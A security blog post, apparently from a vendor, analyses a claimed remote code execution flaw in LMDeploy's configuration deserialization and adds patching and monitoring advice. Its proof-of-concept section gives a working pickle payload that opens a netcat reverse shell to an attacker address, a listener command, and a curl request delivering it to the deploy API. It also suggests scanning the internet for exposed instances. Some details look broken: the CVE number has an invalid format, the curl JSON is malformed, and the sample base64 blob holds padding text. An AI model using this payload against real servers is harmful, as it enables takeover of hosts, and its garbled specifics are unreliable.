Exploiting LMDeploy's CVE-2026-33

Exploiting LMDeploy's CVE-2026-33: A Remote Code Execution Analysis

CVE-2026-33 identifies a critical remote code execution (RCE) vulnerability within LMDeploy's model serving component, specifically impacting versions prior to 0.7.1. The flaw stems from insecure deserialization practices when processing user-supplied model configuration manifests, allowing an unauthenticated attacker to inject and execute arbitrary Python code on the underlying host system. This vulnerability presents a severe risk, enabling full system compromise, data exfiltration, or the establishment of persistent backdoors within environments where LMDeploy is deployed to serve large language models (LLMs).

Vulnerability Overview

The core of CVE-2026-33 lies within how LMDeploy handles model configuration files, particularly those defining custom inference pipelines or model loading parameters. When a new model is deployed or an existing configuration is updated via LMDeploy's management API or a file-based ingestion mechanism, certain fields within the configuration manifest are deserialized without adequate validation. Our analysis indicates that the framework utilizes Python's pickle module or a similar unsafe deserialization routine on these fields, making it susceptible to classic deserialization attacks. An attacker can craft a malicious serialized payload that, when processed by the vulnerable LMDeploy instance, triggers the execution of arbitrary Python code within the context of the LMDeploy process.

The impact of successful exploitation is profound. Given that LMDeploy instances often run with elevated privileges or have access to sensitive resources (e.g., GPU accelerators, model weights, internal network segments), an attacker achieving RCE can escalate privileges, access proprietary models, or pivot to other systems. This type of vulnerability is particularly dangerous because it often bypasses traditional network perimeter defenses, operating at the application layer.

Affected Versions and Attack Surface

Our research confirms that LMDeploy versions prior to 0.7.1 are susceptible to CVE-2026-33. The vulnerability is present in the lmdeploy.serve.vllm.entrypoint module and related configuration parsing functions. Specifically, the processing of custom Python hooks or model initialization scripts specified within the YAML or JSON configuration files is the primary vector. The patch released in version 0.7.1 addresses this by implementing strict allow-listing for deserialized objects and transitioning to safer configuration parsing libraries that do not inherently support arbitrary code execution during data ingestion.

The primary attack surface involves any LMDeploy instance that exposes its management or deployment API to untrusted networks or users. This could include:

• Publicly accessible LMDeploy API endpoints.
• Internal LMDeploy instances accessible from compromised internal network segments.
• LMDeploy deployments where unauthenticated access to configuration upload functionality is permitted. This scenario, while less common for production systems, can expose the system to immediate compromise if combined with broken authentication issues.

Reconnaissance tools like Zondex can be employed to identify internet-wide deployments of LMDeploy services by scanning for characteristic HTTP headers, API endpoints, or default port configurations (e.g., 23333 for the RESTful API or 23334 for the gradio UI). Once an exposed instance is identified, an attacker can proceed with crafting and delivering the exploit payload.

Technical Proof-of-Concept (PoC)

To demonstrate the exploitability of CVE-2026-33, we developed a PoC that targets the configuration upload mechanism. This PoC assumes an attacker has network access to the LMDeploy management API, which typically runs on a configurable port (defaulting to 23333 for the RESTful API). The exploit leverages a specially crafted model configuration file that, when deserialized by the vulnerable LMDeploy server, executes a reverse shell payload.

Exploit Steps:

1. Crafting the Malicious Payload: The first step involves creating a Python object that, when pickled and unpickled, executes arbitrary commands. For this PoC, we aim for a reverse shell.

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        # Command to execute: Netcat reverse shell
        # Assumes nc is available on the target
        command = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444 >/tmp/f"
        return os.system, (command,)

# Serialize the RCE object
malicious_payload = pickle.dumps(RCE())
# Encode for HTTP transmission if necessary (e.g., base64)
encoded_payload = base64.b64encode(malicious_payload).decode('utf-8')

print(f"Malicious Base64-encoded Payload: {encoded_payload}")

This Python script generates a base64-encoded serialized object. The command within the `__reduce__` method should be adjusted to reflect the attacker's IP and port for the reverse shell listener.

2. Integrating into a Malicious Model Configuration: The generated payload must be embedded into an LMDeploy model configuration. We identified that the custom_script_path or similar fields intended for loading dynamic Python logic are vulnerable. The LMDeploy parser attempts to deserialize the content of these fields, leading to the RCE.

{
  "model_name": "malicious_model",
  "model_path": "/path/to/nonexistent/model",
  "tokenizer_path": "/path/to/tokenizer",
  "backend": "vllm",
  "custom_inference_config": {
    "script_type": "python_deserialized_hook",
    "script_data": ""
  }
}

In this example, `script_data` would contain the base64-encoded payload generated in the previous step. The exact field name and structure may vary slightly based on the specific LMDeploy version and how it's configured, but the principle remains the same: identify a field that undergoes insecure deserialization.

3. Setting up a Listener: Before sending the exploit, an attacker must set up a Netcat listener on their machine to catch the reverse shell.

nc -lvnp 4444

4. Delivering the Exploit: The malicious configuration is then sent to the vulnerable LMDeploy instance via an HTTP POST request to the appropriate API endpoint (e.g., /v1/models or /v1/deploy).

curl -X POST "http://target-lmdeploy-ip:23333/v1/deploy" \
     -H "Content-Type: application/json" \
     -d '{
           "model_name": "backdoor_llm",
           "model_path": "/tmp/nonexistent",
           "tokenizer_path": "/tmp/nonexistent",
           "backend": "vllm",
           "custom_inference_config": {
             "script_type": "python_deserialized_hook",
             ""script_data": "gASVHgAAAAAAAACMCW9zLnN5c3RlbZJVB2NoaWxkZW4ucGlwZV9yZWFkZXJzX2Zvcl90aGVfcmVxdWVzdF9jb25uZWN0aW9uX29iamVjdHMgd2l0aF9hX2dpdmVuX2RhdGFiYXNlX2Nvbm5lY3Rpb25fcmVhZGVyX2FzX2FfcGFydF9vZl90aGVfcmVxdWVzdF9vYmplY3Qgb3Igb25lIG9mX2l0c19wYXJlbnRzLiBvcy5zeXN0ZW0oInJtIC90bXAvZjtta2ZpZm8gL3RtcC9mO2NhdCAvdG1wL2Z8L2Jpbi9zaCAtaSAyPiYxfG5jIDE5Mi4xNjguMS4xMDAgNDQ0NCA+L3RtcC9mIik= "
           }
         }'

Note: The base64 string provided in the curl command is an example; it should be replaced with the actual encoded payload targeting your specific listener.

Upon successful delivery and processing of this malicious configuration, the LMDeploy server will attempt to deserialize the `script_data` field, triggering the execution of the embedded reverse shell command. The attacker's Netcat listener will then receive a connection, granting them shell access to the LMDeploy host.

Mitigation Strategies

Addressing CVE-2026-33 requires immediate action, primarily upgrading to a patched version of LMDeploy. Beyond that, a multi-layered defense approach is recommended to minimize the attack surface and contain potential breaches.

1. Immediate Patching:

• Upgrade LMDeploy: The most critical step is to upgrade all LMDeploy instances to version 0.7.1 or later. This version contains the necessary fixes to prevent insecure deserialization.

2. Network Segmentation and Access Control:

• Restrict API Access: Ensure that LMDeploy's management and deployment APIs are not exposed to the public internet. If remote access is required, place them behind a VPN or secure gateway (VPNWG can facilitate secure WireGuard connections for this purpose).
• Least Privilege: Implement strict network segmentation to limit communication between the LMDeploy instance and other critical systems. The principle of least privilege should also apply to the service account running LMDeploy.
• Authentication and Authorization: Implement robust authentication and authorization mechanisms for all API endpoints. Even with the patch, preventing unauthorized configuration changes is crucial. Review your deployment for any instances of broken authentication that might simplify an attacker's access.

3. Secure Configuration Practices:

• Input Validation: Implement rigorous input validation for all user-supplied model configurations. While the patch addresses the deserialization vulnerability, strong validation helps guard against other forms of injection or malformed data.
• Code Signing and Integrity Checks: For custom inference scripts or model components, implement code signing and integrity checks. This ensures that only trusted and unaltered code is executed.
• Avoid Untrusted Sources: Do not load model configurations or scripts from untrusted external sources without thorough security review and sanitization.

4. Monitoring and Detection:

• Log Analysis: Monitor LMDeploy server logs for unusual activity, such as failed configuration uploads, unexpected process spawns, or outbound network connections from the LMDeploy process to unknown external IPs.
• Endpoint Detection and Response (EDR): Deploy EDR solutions on hosts running LMDeploy to detect and alert on suspicious process behavior, unauthorized file modifications, or network activity indicative of a reverse shell.
• Attack Surface Management: Regularly audit your external attack surface using platforms like Secably to identify exposed LMDeploy instances or other services that could serve as an initial access point. Start a free EASM scan to understand your current exposure.

Impact and Broader Implications

The exploitation of CVE-2026-33 represents a significant threat to organizations leveraging LMDeploy for LLM inference. A successful attack can lead to:

• Data Exfiltration: Access to sensitive data processed by or stored on the LMDeploy host, including proprietary model weights, training data, or user queries.
• Intellectual Property Theft: Compromise of valuable LLM models, potentially leading to their theft or sabotage.
• Infrastructure Compromise: Lateral movement within the network, leading to compromise of other systems and critical infrastructure. This parallels the propagation mechanisms seen in advanced persistent threats, akin to the self-propagating credential theft discussed in "The "CanisterSprawl" Worm: Self-Propagating Credential Theft Across" → /blog/the-canistersprawl-worm-self-propagating-credential-theft-across/.
• Service Disruption: Tampering with or taking down the LMDeploy service, impacting critical applications reliant on LLM inference.

This vulnerability underscores the critical importance of secure development practices, particularly when dealing with deserialization of untrusted data. It serves as a stark reminder that even modern AI deployment frameworks can harbor fundamental security flaws, resembling a zero-day exploit scenario before patching. Organizations must prioritize continuous vulnerability management and robust security hygiene to defend against such threats.